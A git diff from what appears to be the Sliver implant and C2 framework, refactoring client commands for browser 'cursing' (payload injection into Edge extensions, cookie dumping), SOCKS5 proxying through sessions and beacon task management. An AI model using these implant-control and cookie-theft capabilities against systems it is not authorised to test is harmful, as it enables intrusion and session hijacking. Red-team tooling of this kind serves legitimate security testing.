cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments")) - - cursedEdgeCmd := &cobra.Command{ - Use: consts.CursedEdge, - Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedEdgeCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedEdgeCmd) - Flags("", false, cursedEdgeCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - f.BoolP("restore", "R", true, "restore the user's session after process termination") - f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)") - f.StringP("user-data", "u", "", "user data directory (blank string = auto)") - f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") - f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") - f.BoolP("headless", "H", false, "start browser process in headless mode") - }) - FlagComps(cursedEdgeCmd, func(comp *carapace.ActionMap) { - (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") - }) - cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments")) - - cursedElectronCmd := &cobra.Command{ - Use: consts.CursedElectron, - Short: "Curse a remote Electron application", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedElectronCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedElectronCmd) - Flags("", false, cursedElectronCmd, func(f *pflag.FlagSet) { - f.StringP("exe", "e", "", "remote electron executable absolute path") - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - }) - cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments")) - - CursedCookiesCmd := &cobra.Command{ - Use: consts.CursedCookies, - Short: "Dump all cookies from cursed process", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedCookiesCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(CursedCookiesCmd) - Flags("", false, CursedCookiesCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save to file") - }) - - cursedScreenshotCmd := &cobra.Command{ - Use: consts.ScreenshotStr, - Short: "Take a screenshot of a cursed process debug target", - Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedScreenshotCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedScreenshotCmd) - Flags("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) { - f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)") - f.StringP("save", "s", "", "save to file") - }) - - // [ Wasm ] ----------------------------------------------------------------- + // [ Post-command declaration setup ]---------------------------------------- - wasmCmd := &cobra.Command{ - Use: consts.WasmStr, - Short: "Execute a Wasm Module Extension", - Long: help.GetHelpFor([]string{consts.WasmStr}), - GroupID: consts.ExecutionHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - wasm.WasmCmd(cmd, con, args) - }, + // Load Aliases + aliasManifests := assets.GetInstalledAliasManifests() + for _, manifest := range aliasManifests { + _, err := alias.LoadAlias(manifest, sliver, con) + if err != nil { + con.PrintErrorf("Failed to load alias: %s", err) + continue + } } - sliver.AddCommand(wasmCmd) - Flags("", true, wasmCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("", false, wasmCmd, func(f *pflag.FlagSet) { - f.BoolP("pipe", "P", false, "pipe module stdin/stdout/stderr to the current terminal (session only)") - f.StringP("file", "f", "", "include local file(s) in wasm module's /memfs (glob pattern) ") - f.StringP("dir", "d", "", "recursively include local directory in wasm module's /memfs (glob pattern)") - f.BoolP("skip-registration", "s", false, "assume the extension is already registered") - f.BoolP("loot", "X", false, "save output as loot, incompatible with --pipe") - }) - FlagComps(wasmCmd, func(comp *carapace.ActionMap) { - (*comp)["file"] = carapace.ActionFiles() - (*comp)["dir"] = carapace.ActionDirectories() - }) - wasmComp := carapace.Gen(wasmCmd) - wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)")) - wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)")) - wasmLsCmd := &cobra.Command{ - Use: consts.LsStr, - Short: "List registered wasm extensions with current session/beacon", - Long: help.GetHelpFor([]string{consts.WasmStr, consts.LsStr}), - Run: func(cmd *cobra.Command, args []string) { - wasm.WasmLsCmd(cmd, con, args) - }, + // Load Extensions + extensionManifests := assets.GetInstalledExtensionManifests() + for _, manifest := range extensionManifests { + mext, err := extensions.LoadExtensionManifest(manifest) + // Absorb error in case there's no extensions manifest + if err != nil { + con.PrintErrorf("Failed to load extension: %s", err) + continue + } + for _, ext := range mext.ExtCommand { + extensions.ExtensionRegisterCommand(ext, sliver, con) + } } - wasmCmd.AddCommand(wasmLsCmd) // [ Post-command declaration setup ]---------------------------------------- // Everything below this line should preferably not be any command binding - // (unless you know what you're doing). If there are any final modifications - // to make to the sliver menu command tree, it time to do them here. + // (although you can do so without fear). If there are any final modifications + // to make to the server menu command tree, it time to do them here. sliver.InitDefaultHelpCmd() sliver.SetHelpCommandGroupID(consts.SliverCoreHelpGroup) // Compute which commands should be available based on the current session/beacon. - con.ExposeCommands() + con.FilterCommands(sliver) return sliver } diff --git a/client/command/socks/commands.go b/client/command/socks/commands.go new file mode 100644 index 0000000000..2b9e48f550 --- /dev/null +++ b/client/command/socks/commands.go @@ -0,0 +1,65 @@ +package socks + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + socksCmd := &cobra.Command{ + Use: consts.Socks5Str, + Short: "In-band SOCKS5 Proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + SocksCmd(cmd, con, args) + }, + } + flags.Bind("", true, socksCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + socksStartCmd := &cobra.Command{ + Use: consts.StartStr, + Short: "Start an in-band SOCKS5 proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + Run: func(cmd *cobra.Command, args []string) { + SocksStartCmd(cmd, con, args) + }, + } + socksCmd.AddCommand(socksStartCmd) + flags.Bind("", false, socksStartCmd, func(f *pflag.FlagSet) { + f.StringP("host", "H", "127.0.0.1", "Bind a Socks5 Host") + f.StringP("port", "P", "1081", "Bind a Socks5 Port") + f.StringP("user", "u", "", "socks5 auth username (will generate random password)") + }) + completers.NewFlagCompsFor(socksStartCmd, func(comp *carapace.ActionMap) { + (*comp)["host"] = completers.ClientInterfacesCompleter() + }) + + socksStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a SOCKS5 proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SocksStopCmd(cmd, con, args) + }, + } + + rmComps := completers.NewCompsFor(socksStopCmd) + rmComps.PositionalAnyCompletion(SocksIDCompleter(con).Usage("ID of Socks server(s) to remove")) + + socksCmd.AddCommand(socksStopCmd) + + return []*cobra.Command{socksCmd} +} diff --git a/client/command/socks/socks-start.go b/client/command/socks/socks-start.go index 7922429305..d6d1108b8c 100644 --- a/client/command/socks/socks-start.go +++ b/client/command/socks/socks-start.go @@ -25,16 +25,15 @@ import ( "net" "time" - "gopkg.in/AlecAivazis/survey.v1" - "github.com/spf13/cobra" + "gopkg.in/AlecAivazis/survey.v1" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" ) -// SocksStartCmd - Add a new tunneled port forward -func SocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SocksStartCmd - Add a new tunneled port forward. +func SocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -83,6 +82,8 @@ func SocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] }(core.SocksProxies.Add(channelProxy).ChannelProxy) con.PrintInfof("Started SOCKS5 %s %s %s %s\n", host, port, username, password) con.PrintWarnf("In-band SOCKS proxies can be a little unstable depending on protocol\n") + + con.WaitSignal() } func randomPassword() string { diff --git a/client/command/socks/socks-stop.go b/client/command/socks/socks-stop.go index d6e21e2c13..9911159d9d 100644 --- a/client/command/socks/socks-stop.go +++ b/client/command/socks/socks-stop.go @@ -20,6 +20,7 @@ package socks import ( "context" + "strconv" "github.com/spf13/cobra" @@ -28,20 +29,28 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SocksStopCmd - Remove an existing tunneled port forward -func SocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - socksID, _ := cmd.Flags().GetUint64("id") - if socksID < 1 { - con.PrintErrorf("Must specify a valid socks5 id\n") - return +// SocksStopCmd - Remove an existing tunneled port forward. +func SocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + for _, arg := range args { + socksID, err := strconv.ParseUint(arg, 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse Socks ID: %s\n", err) + } + + if socksID < 1 { + con.PrintErrorf("Must specify a valid socks5 ID\n") + return + } + + found := core.SocksProxies.Remove(socksID) + + if !found { + con.PrintErrorf("No socks5 with ID %d\n", socksID) + } else { + con.PrintInfof("Removed socks5\n") + } + + // close + con.Rpc.CloseSocks(context.Background(), &sliverpb.Socks{}) } - found := core.SocksProxies.Remove(socksID) - if !found { - con.PrintErrorf("No socks5 with id %d\n", socksID) - } else { - con.PrintInfof("Removed socks5\n") - } - - // close - con.Rpc.CloseSocks(context.Background(), &sliverpb.Socks{}) } diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index ae006d91b3..d689c2ebda 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -32,19 +32,20 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// SocksCmd - Display information about tunneled port forward(s) -func SocksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SocksCmd - Display information about tunneled port forward(s). +func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { socks := core.SocksProxies.List() if len(socks) == 0 { con.PrintInfof("No socks5 proxies\n") return } - sort.Slice(socks[:], func(i, j int) bool { + sort.Slice(socks, func(i, j int) bool { return socks[i].ID < socks[j].ID }) tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Session ID", @@ -59,9 +60,9 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin con.Printf("%s\n", tw.Render()) } -// SocksIDCompleter completes IDs of remote of socks proxy servers -func SocksIDCompleter(_ *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { +// SocksIDCompleter completes IDs of remote of socks proxy servers. +func SocksIDCompleter(_ *console.SliverClient) carapace.Action { + callback := func(c carapace.Context) carapace.Action { results := make([]string, 0) socks := core.SocksProxies.List() @@ -78,7 +79,9 @@ func SocksIDCompleter(_ *console.SliverConsoleClient) carapace.Action { return carapace.ActionMessage("no Socks servers") } - return carapace.ActionValuesDescribed(results...).Tag("socks servers") + comps := carapace.ActionValuesDescribed(results...).Tag("socks servers") + + return comps.Invoke(c).Filter(c.Args...).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/taskmany/taskmany.go b/client/command/taskmany/taskmany.go index e35a64d120..0a123e648e 100644 --- a/client/command/taskmany/taskmany.go +++ b/client/command/taskmany/taskmany.go @@ -28,19 +28,68 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) -// TaskmanyCmd - Task many beacons / sessions -func TaskmanyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func Command(con *console.SliverClient) []*cobra.Command { + taskmanyCmd := &cobra.Command{ + Use: consts.TaskmanyStr, + Short: "Task many beacons or sessions", + Long: help.GetHelpFor([]string{consts.TaskmanyStr}), + GroupID: consts.SliverHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + TaskmanyCmd(cmd, con, args) + }, + } + + // Subcommands might have flags of their own. + taskmanyCmd.DisableFlagParsing = true + + // Add the relevant beacon commands as a subcommand to taskmany + // taskmanyCmds := map[string]bool{ + // consts.ExecuteStr: true, + // consts.LsStr: true, + // consts.CdStr: true, + // consts.MkdirStr: true, + // consts.RmStr: true, + // consts.UploadStr: true, + // consts.DownloadStr: true, + // consts.InteractiveStr: true, + // consts.ChmodStr: true, + // consts.ChownStr: true, + // consts.ChtimesStr: true, + // consts.PwdStr: true, + // consts.CatStr: true, + // consts.MvStr: true, + // consts.PingStr: true, + // consts.NetstatStr: true, + // consts.PsStr: true, + // consts.IfconfigStr: true, + // } + + // for _, c := range SliverCommands(con)().Commands() { + // _, ok := taskmanyCmds[c.Use] + // if ok { + // taskmanyCmd.AddCommand(WrapCommand(c, con)) + // } + // } + + return []*cobra.Command{taskmanyCmd} +} + +// TaskmanyCmd - Task many beacons / sessions. +func TaskmanyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintErrorf("Must specify subcommand. See taskmany --help for supported subcommands.\n") } -// Helper function to wrap grumble commands with taskmany logic -func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Command { +// Helper function to wrap grumble commands with taskmany logic. +func WrapCommand(c *cobra.Command, con *console.SliverClient) *cobra.Command { wc := &cobra.Command{ Use: c.Use, Short: c.Short, @@ -53,8 +102,8 @@ func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Comm return wc } -// Wrap a function to run it for each beacon / session -func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) { +// Wrap a function to run it for each beacon / session. +func wrapFunctionWithTaskmany(con *console.SliverClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) { return func(cmd *cobra.Command, args []string) { defer con.Println() @@ -104,11 +153,11 @@ func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobr } } -func SelectMultipleBeaconsAndSessions(con *console.SliverConsoleClient) ([]*clientpb.Session, []*clientpb.Beacon, error) { +func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Session, []*clientpb.Beacon, error) { // Get and sort sessions sessionsObj, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } sessions := sessionsObj.Sessions sort.Slice(sessions, func(i, j int) bool { @@ -118,7 +167,7 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverConsoleClient) ([]*clie // Get and sort beacons beaconsObj, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } beacons := beaconsObj.Beacons sort.Slice(beacons, func(i, j int) bool { diff --git a/client/command/tasks/commands.go b/client/command/tasks/commands.go new file mode 100644 index 0000000000..f6d1d3283d --- /dev/null +++ b/client/command/tasks/commands.go @@ -0,0 +1,76 @@ +package tasks + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + tasksCmd := &cobra.Command{ + Use: consts.TasksStr, + Short: "Beacon task management", + Long: help.GetHelpFor([]string{consts.TasksStr}), + Run: func(cmd *cobra.Command, args []string) { + TasksCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + } + flags.Bind("tasks", true, tasksCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") + f.IntP("skip-pages", "S", 0, "skip the first n page(s)") + f.StringP("filter", "f", "", "filter based on task type (case-insensitive prefix matching)") + }) + + fetchCmd := &cobra.Command{ + Use: consts.FetchStr, + Short: "Fetch the details of a beacon task", + Long: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + TasksFetchCmd(cmd, con, args) + }, + } + tasksCmd.AddCommand(fetchCmd) + carapace.Gen(fetchCmd).PositionalCompletion(BeaconTaskIDCompleter(con).Usage("beacon task ID")) + + cancelCmd := &cobra.Command{ + Use: consts.CancelStr, + Short: "Cancel a pending beacon task", + Long: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + TasksCancelCmd(cmd, con, args) + }, + } + tasksCmd.AddCommand(cancelCmd) + carapace.Gen(cancelCmd).PositionalCompletion(BeaconPendingTasksCompleter(con).Usage("beacon task ID")) + + return []*cobra.Command{tasksCmd} +} diff --git a/client/command/tasks/fetch.go b/client/command/tasks/fetch.go index adeeb63367..d8bd44f461 100644 --- a/client/command/tasks/fetch.go +++ b/client/command/tasks/fetch.go @@ -46,15 +46,15 @@ import ( "github.com/bishopfox/sliver/util" ) -// TasksFetchCmd - Manage beacon tasks -func TasksFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TasksFetchCmd - Manage beacon tasks. +func TasksFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return } beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } tasks := beaconTasks.Tasks @@ -97,7 +97,7 @@ func TasksFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: task.ID}) if err != nil { - con.PrintErrorf("Failed to fetch task content: %s\n", err) + con.PrintErrorf("Failed to fetch task content: %s\n", con.UnwrapServerErr(err)) return } PrintTask(task, con) @@ -123,8 +123,8 @@ func filterTasksByTaskType(taskType string, tasks []*clientpb.BeaconTask) []*cli return filteredTasks } -// PrintTask - Print the details of a beacon task -func PrintTask(task *clientpb.BeaconTask, con *console.SliverConsoleClient) { +// PrintTask - Print the details of a beacon task. +func PrintTask(task *clientpb.BeaconTask, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableWithBordersStyle(con)) tw.AppendRow(table.Row{console.Bold + "Beacon Task" + console.Normal, task.ID}) @@ -170,8 +170,8 @@ func emojiState(state string) string { } } -// Decode and render message specific content -func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleClient) { +// Decode and render message specific content. +func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) { reqEnvelope := &sliverpb.Envelope{} proto.Unmarshal(task.Request, reqEnvelope) switch reqEnvelope.Type { @@ -507,7 +507,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con) @@ -524,7 +524,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } privilege.PrintGetPrivs(privs, beacon.PID, con) @@ -591,7 +591,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } privilege.PrintRunAs(runAs, runAsReq.ProcessName, runAsReq.Args, beacon.Name, con) @@ -617,7 +617,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to get beacon: %s\n", err) + con.PrintErrorf("Failed to get beacon: %s\n", con.UnwrapServerErr(err)) return } @@ -742,7 +742,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } } -func taskResponseDownload(download *sliverpb.Download, con *console.SliverConsoleClient) { +func taskResponseDownload(download *sliverpb.Download, con *console.SliverClient) { const ( dump = "Dump Contents" saveTo = "Save to File ..." @@ -765,7 +765,7 @@ func taskResponseDownload(download *sliverpb.Download, con *console.SliverConsol } } -func promptSaveToFile(data []byte, con *console.SliverConsoleClient) { +func promptSaveToFile(data []byte, con *console.SliverClient) { saveTo := "" saveToPrompt := &survey.Input{Message: "Save to: "} err := survey.AskOne(saveToPrompt, &saveTo) diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index 2b24a80084..20fe336d4e 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -16,7 +16,7 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// SelectBeaconTask - Select a beacon task interactively +// SelectBeaconTask - Select a beacon task interactively. func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error) { // Render selection table buf := bytes.NewBufferString("") @@ -50,8 +50,12 @@ func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error } // BeaconTaskIDCompleter returns a structured list of tasks completions, grouped by state. -func BeaconTaskIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + beacon := con.ActiveTarget.GetBeacon() if beacon == nil { return carapace.ActionMessage("no active beacon") @@ -59,7 +63,7 @@ func BeaconTaskIDCompleter(con *console.SliverConsoleClient) carapace.Action { beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - return carapace.ActionMessage("Failed to fetch tasks: %s", err.Error()) + return carapace.ActionMessage("Failed to fetch tasks: %s", con.UnwrapServerErr(err)) } completed := make([]string, 0) @@ -114,9 +118,13 @@ func BeaconTaskIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(callback) } -// BeaconPendingTasksCompleter completes pending tasks -func BeaconPendingTasksCompleter(con *console.SliverConsoleClient) carapace.Action { +// BeaconPendingTasksCompleter completes pending tasks. +func BeaconPendingTasksCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + beacon := con.ActiveTarget.GetBeacon() if beacon == nil { return carapace.ActionMessage("no active beacon") @@ -124,7 +132,7 @@ func BeaconPendingTasksCompleter(con *console.SliverConsoleClient) carapace.Acti beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - return carapace.ActionMessage("Failed to fetch tasks: %s", err.Error()) + return carapace.ActionMessage("Failed to fetch tasks: %s", con.UnwrapServerErr(err)) } pending := make([]string, 0) diff --git a/client/command/tasks/tasks-cancel.go b/client/command/tasks/tasks-cancel.go index 3294af5977..ef8610255b 100644 --- a/client/command/tasks/tasks-cancel.go +++ b/client/command/tasks/tasks-cancel.go @@ -9,8 +9,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// TasksCancelCmd - Cancel a beacon task before it's sent to the implant -func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TasksCancelCmd - Cancel a beacon task before it's sent to the implant. +func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return @@ -25,7 +25,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ if idArg == "" { beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } tasks := []*clientpb.BeaconTask{} @@ -48,7 +48,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } else { task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } } @@ -56,7 +56,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ if task != nil { task, err := con.Rpc.CancelBeaconTask(context.Background(), task) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Task %s canceled\n", task.ID) diff --git a/client/command/tasks/tasks.go b/client/command/tasks/tasks.go index 2f087096ca..5d0e793c36 100644 --- a/client/command/tasks/tasks.go +++ b/client/command/tasks/tasks.go @@ -32,28 +32,29 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// TasksCmd - Manage beacon tasks -func TasksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TasksCmd - Manage beacon tasks. +func TasksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return } beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintBeaconTasks(beaconTasks.Tasks, cmd, con) } -// PrintBeaconTasks - Print beacon tasks -func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *console.SliverConsoleClient) { +// PrintBeaconTasks - Print beacon tasks. +func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "State", - "Message Type", + "Command Line", "Created", "Sent", "Completed", diff --git a/client/command/update/commands.go b/client/command/update/commands.go new file mode 100644 index 0000000000..3725ea4564 --- /dev/null +++ b/client/command/update/commands.go @@ -0,0 +1,51 @@ +package update + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + updateCmd := &cobra.Command{ + Use: consts.UpdateStr, + Short: "Check for updates", + Long: help.GetHelpFor([]string{consts.UpdateStr}), + Run: func(cmd *cobra.Command, args []string) { + UpdateCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("update", false, updateCmd, func(f *pflag.FlagSet) { + f.BoolP("prereleases", "P", false, "include pre-released (unstable) versions") + f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") + f.StringP("save", "s", "", "save downloaded files to specific directory (default user home dir)") + f.BoolP("insecure", "I", false, "skip tls certificate validation") + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + 